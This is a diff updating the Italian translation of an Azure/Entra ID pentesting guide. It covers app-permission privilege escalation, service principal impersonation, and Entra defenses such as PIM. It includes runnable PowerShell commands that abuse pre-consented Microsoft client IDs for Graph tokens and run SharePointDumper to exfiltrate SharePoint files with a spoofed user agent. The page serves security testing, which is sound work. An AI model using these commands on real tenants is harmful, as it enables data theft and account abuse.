done < <(jq -c '.resourceAccess[]' <<<"$rra")
+
+echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${is_ms}\t${permissions_csv}"
done < <(jq -c '.[2][]' <<<"$row")
done < <(jq -c '.[]' <<<"$apps_json")
```
@@ -895,21 +934,21 @@ Get-AzureADApplication -ObjectId | Get-AzureADApplicationOwner |fl *
{{#endtabs }}
> [!WARNING]
-> Un'app con il permesso **`AppRoleAssignment.ReadWrite`** può **escalate to Global Admin** concedendosi quel ruolo.\
-> Per maggiori informazioni [**vedi**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48).
+> Un'app con il permesso **`AppRoleAssignment.ReadWrite`** può **escalare a Global Admin** assegnandosi il ruolo.\
+> Per maggiori informazioni [**consulta questo**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48).
> [!NOTE]
-> Una stringa segreta che l'application usa per dimostrare la sua identità quando richiede un token è la application **password**.\
-> Quindi, se trovi questa **password** puoi accedere come il **service principal** **inside** il **tenant**.\
-> Nota che questa password è visibile solo al momento della generazione (puoi cambiarla ma non puoi ottenerla di nuovo).\
-> Il **owner** della **application** può **add a password** ad essa (quindi può impersonarla).\
-> I login come questi service principals sono **not marked as risky** e **won't have MFA.**
+> Una stringa segreta che l'applicazione usa per provare la propria identità quando richiede un token è la password dell'applicazione.\
+> Quindi, se trovi questa **password** puoi accedere come **service principal** **all'interno** del **tenant**.\
+> Nota che questa password è visibile solo quando viene generata (puoi cambiarla ma non puoi recuperarla di nuovo).\
+> Il **proprietario** dell'**applicazione** può **aggiungere una password** ad essa (quindi può impersonarla).\
+> Gli accessi effettuati da questi **service principals** non sono **contrassegnati come rischiosi** e non avranno **MFA.**
-It's possible to find a list of commonly used App IDs that belongs to Microsoft in [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
+È possibile trovare una lista di App ID comunemente usati che appartengono a Microsoft in [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
### Managed Identities
-For more information about Managed Identities check:
+Per maggiori informazioni sulle Managed Identities consulta:
{{#ref}}
../az-basic-information/
@@ -927,7 +966,7 @@ az identity list --output table
### Ruoli di Azure
-Per maggiori informazioni sui ruoli di Azure consulta:
+Per ulteriori informazioni sui ruoli di Azure, consulta:
{{#ref}}
../az-basic-information/
@@ -1014,7 +1053,7 @@ Headers = @{
### Ruoli di Entra ID
-Per maggiori informazioni sui ruoli di Azure consulta:
+Per ulteriori informazioni sui ruoli di Azure, consulta:
{{#ref}}
../az-basic-information/
@@ -1135,8 +1174,8 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember
{{#endtabs }}
> [!WARNING]
-> Se un dispositivo (VM) è **AzureAD joined**, gli utenti di AzureAD potranno **effettuare il login**.\
-> Inoltre, se l'utente connesso è **Owner** del dispositivo, sarà **amministratore locale**.
+> Se un dispositivo (VM) è **AzureAD joined**, gli utenti di AzureAD saranno **in grado di effettuare il login**.\
+> Inoltre, se l'utente loggato è **Owner** del dispositivo, sarà **amministratore locale**.
### Unità amministrative
@@ -1175,14 +1214,14 @@ Get-AzureADMSScopedRoleMembership -Id | fl #Get role ID and role members
{{#endtab }}
{{#endtabs }}
-## Microsoft Graph delegated SharePoint data exfiltration (SharePointDumper)
+## Esfiltrazione di dati SharePoint delegata tramite Microsoft Graph (SharePointDumper)
-Gli attaccanti in possesso di un **delegated Microsoft Graph token** che include **`Sites.Read.All`** o **`Sites.ReadWrite.All`** possono enumerare **sites/drives/items** tramite Graph e poi **estrarre i contenuti dei file** tramite **SharePoint pre-authentication download URLs** (URL a tempo che incorporano un access token). Lo script [SharePointDumper](https://github.com/zh54321/SharePointDumper) automatizza l'intero flusso (enumeration → pre-auth downloads) e fornisce telemetria per richiesta per i test di rilevamento.
+Gli attaccanti in possesso di un **token Microsoft Graph delegato** che include **`Sites.Read.All`** o **`Sites.ReadWrite.All`** possono enumerare **sites/drives/items** tramite Graph e poi **scaricare i contenuti dei file** tramite **SharePoint pre-authentication download URLs** (URL a tempo limitato che incorporano un access token). Lo script [SharePointDumper](https://github.com/zh54321/SharePointDumper) automatizza l'intero flusso (enumeration → pre-auth downloads) ed emette telemetria per richiesta utile per i test di rilevamento.
-### Obtaining usable delegated tokens
+### Ottenere token delegati utilizzabili
-- SharePointDumper di per sé **non esegue l'autenticazione**; fornisci un access token (opzionalmente refresh token).
-- Client **first-party** pre-consentiti possono essere abusati per ottenere un Graph token senza registrare un'app. Esempio di invocazioni `Invoke-Auth` (da [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)):
+- SharePointDumper stesso **non si autentica**; fornisci un access token (opzionalmente un refresh token).
+- Client di **first-party** già pre-consentiti possono essere abusati per generare un token Graph senza registrare un'app. Esempio di invocazioni `Invoke-Auth` (da [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)):
```powershell
# CAE requested by default; yields long-lived (~24h) access token
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
@@ -1195,11 +1234,11 @@ Invoke-Auth -ClientID '4765445b-32c6-49b0-83e6-1d93765276ca' -RedirectUrl 'https
Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https://onedrive.cloud.microsoft/_forms/spfxsinglesignon.aspx' -Origin 'https://doesnotmatter' # SPO Web Extensibility (FOCI FALSE)
```
> [!NOTE]
-> I client FOCI TRUE supportano il refresh tra dispositivi; i client FOCI FALSE spesso richiedono `-Origin` per soddisfare la validazione dell'origine della reply URL.
+> I client FOCI TRUE supportano il refresh su più dispositivi; i client FOCI FALSE spesso richiedono `-Origin` per soddisfare la validazione dell'origine del reply URL.
-### Eseguire SharePointDumper per enumeration + exfiltration
+### Esecuzione di SharePointDumper per enumeration + exfiltration
-- Dump di base con custom UA / proxy / throttling:
+- Dump di base con UA personalizzato / proxy / throttling:
```powershell
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -UserAgent "Not SharePointDumper" -RequestDelaySeconds 2 -Variation 3 -Proxy 'http://127.0.0.1:8080'
```
@@ -1207,20 +1246,20 @@ Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https
```powershell
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -IncludeSites 'Finance','Projects' -IncludeExtensions pdf,docx -MaxFiles 500 -MaxTotalSizeMB 100
```
-- **Riprendi** esecuzioni interrotte (rienumera ma salta gli elementi già scaricati):
+- **Riprendi** esecuzioni interrotte (riesegue l'enumerazione ma salta gli elementi già scaricati):
```powershell
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -Resume -OutputFolder .\20251121_1551_MyTenant
```
-- **Aggiornamento automatico del token su HTTP 401** (richiede che EntraTokenAid sia caricato):
+- **Aggiornamento automatico del token su HTTP 401** (richiede EntraTokenAid caricato):
```powershell
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -RefreshToken $tokens.refresh_token -RefreshClientId 'b26aadf8-566f-4478-926f-589f601d9c74'
```
Note operative:
-- Preferisce token **CAE-enabled** per evitare scadenze a metà esecuzione; i tentativi di refresh **non** vengono registrati nel log API dello strumento.
-- Genera log di richieste **CSV/JSON** per **Graph + SharePoint** e oscura per default i token di download embedded di SharePoint (configurabile).
-- Supporta **User-Agent** personalizzato, **HTTP proxy**, **per-request delay + jitter**, e spegnimento sicuro con **Ctrl+C** per shaping del traffico durante test di detection/IR.
+- Preferisce token **CAE-enabled** per evitare scadenze a metà esecuzione; i tentativi di refresh non vengono registrati nel log API dello strumento.
+- Genera log di richieste **CSV/JSON** per **Graph + SharePoint** e oscura per impostazione predefinita i token di download embedded di SharePoint (attivabile).
+- Supporta **custom User-Agent**, **HTTP proxy**, **ritardo per richiesta + jitter**, e **spegnimento sicuro con Ctrl+C** per modellare il traffico durante test di rilevamento/IR.
## Entra ID Privilege Escalation
@@ -1234,16 +1273,16 @@ Note operative:
../az-privilege-escalation/az-authorization-privesc.md
{{#endref}}
-## Meccanismi di difesa
+## Meccanismi difensivi
### Privileged Identity Management (PIM)
-Privileged Identity Management (PIM) in Azure aiuta a **impedire che vengano assegnati privilegi eccessivi** agli utenti inutilmente.
+Privileged Identity Management (PIM) in Azure aiuta a **prevenire l'assegnazione di privilegi eccessivi** agli utenti.
-Una delle funzionalità principali offerte da PIM è che permette di non assegnare ruoli a principal che rimangono costantemente attivi, ma di renderli **eleggibili per un periodo di tempo (es. 6 mesi)**. Quando l'utente vuole attivare quel ruolo, deve richiederlo indicando il tempo per cui necessita del privilegio (es. 3 ore). Poi un **admin deve approvare** la richiesta.
-Nota che l'utente potrà anche chiedere di **estendere** la durata.
+Una delle funzionalità principali offerte da PIM è che permette di non assegnare ruoli a principal costantemente attivi, bensì renderli **eligibili per un periodo di tempo (es. 6 mesi)**. Quando l'utente vuole attivare quel ruolo, deve richiederlo indicando il tempo necessario per il privilegio (es. 3 ore). Quindi un **admin deve approvare** la richiesta.\
+Nota che l'utente può anche richiedere di **estendere** il tempo.
-Inoltre, **PIM invia email** ogni volta che viene assegnato un ruolo privilegiato a qualcuno.
+Inoltre, **PIM invia email** ogni volta che un ruolo privilegiato viene assegnato a qualcuno.
@@ -1252,11 +1291,11 @@ Quando PIM è abilitato è possibile configurare ogni ruolo con requisiti come:
- Durata massima (ore) dell'attivazione
- Richiedere MFA all'attivazione
- Richiedere il contesto di autenticazione di Conditional Access
-- Richiedere una giustificazione all'attivazione
+- Richiedere giustificazione all'attivazione
- Richiedere informazioni sul ticket all'attivazione
- Richiedere approvazione per attivare
- Tempo massimo per la scadenza delle assegnazioni eleggibili
-- Molte altre configurazioni su quando e a chi inviare notifiche quando certe azioni avvengono su quel ruolo
+- Molte altre configurazioni su quando e a chi inviare notifiche quando avvengono determinate azioni relative a quel ruolo
### Conditional Access Policies
@@ -1268,21 +1307,21 @@ Check:
### Entra Identity Protection
-Entra Identity Protection è un servizio di sicurezza che permette di **rilevare quando un utente o un sign-in sono troppo rischiosi** per essere accettati, consentendo di **bloccare** l'utente o il tentativo di accesso.
+Entra Identity Protection è un servizio di sicurezza che permette di **rilevare quando un utente o un sign-in sono troppo rischiosi** per essere accettati, consentendo di **bloccare** l'utente o il tentativo di sign-in.
-Permette all'admin di configurarlo per **bloccare** i tentativi quando il rischio è "Low and above", "Medium and above" o "High". Tuttavia, di default è completamente **disabilitato**:
+Permette all'admin di configurarlo per **bloccare** i tentativi quando il rischio è "Low and above", "Medium and above" o "High". Tuttavia, per impostazione predefinita è completamente **disabilitato**:
> [!TIP]
-> Oggi è consigliato aggiungere queste restrizioni tramite le Conditional Access policies dove è possibile configurare le stesse opzioni.
+> Oggi si raccomanda di aggiungere queste restrizioni tramite Conditional Access policies, dove è possibile configurare le stesse opzioni.
### Entra Password Protection
-Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) è una funzionalità di sicurezza che **aiuta a prevenire l'abuso di password deboli bloccando gli account quando si verificano diversi tentativi di accesso non riusciti**.
-Permette inoltre di **bandire una lista personalizzata di password** che devi fornire.
+Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) è una funzionalità di sicurezza che **aiuta a prevenire l'abuso di password deboli bloccando gli account quando avvengono diversi tentativi di login non riusciti**.\
+Consente inoltre di **vietare una lista personalizzata di password** che bisogna fornire.
-Può essere **applicato sia** a livello cloud che su Active Directory on-premises.
+Può essere **applicato sia** a livello cloud che in Active Directory on-premises.
La modalità predefinita è **Audit**: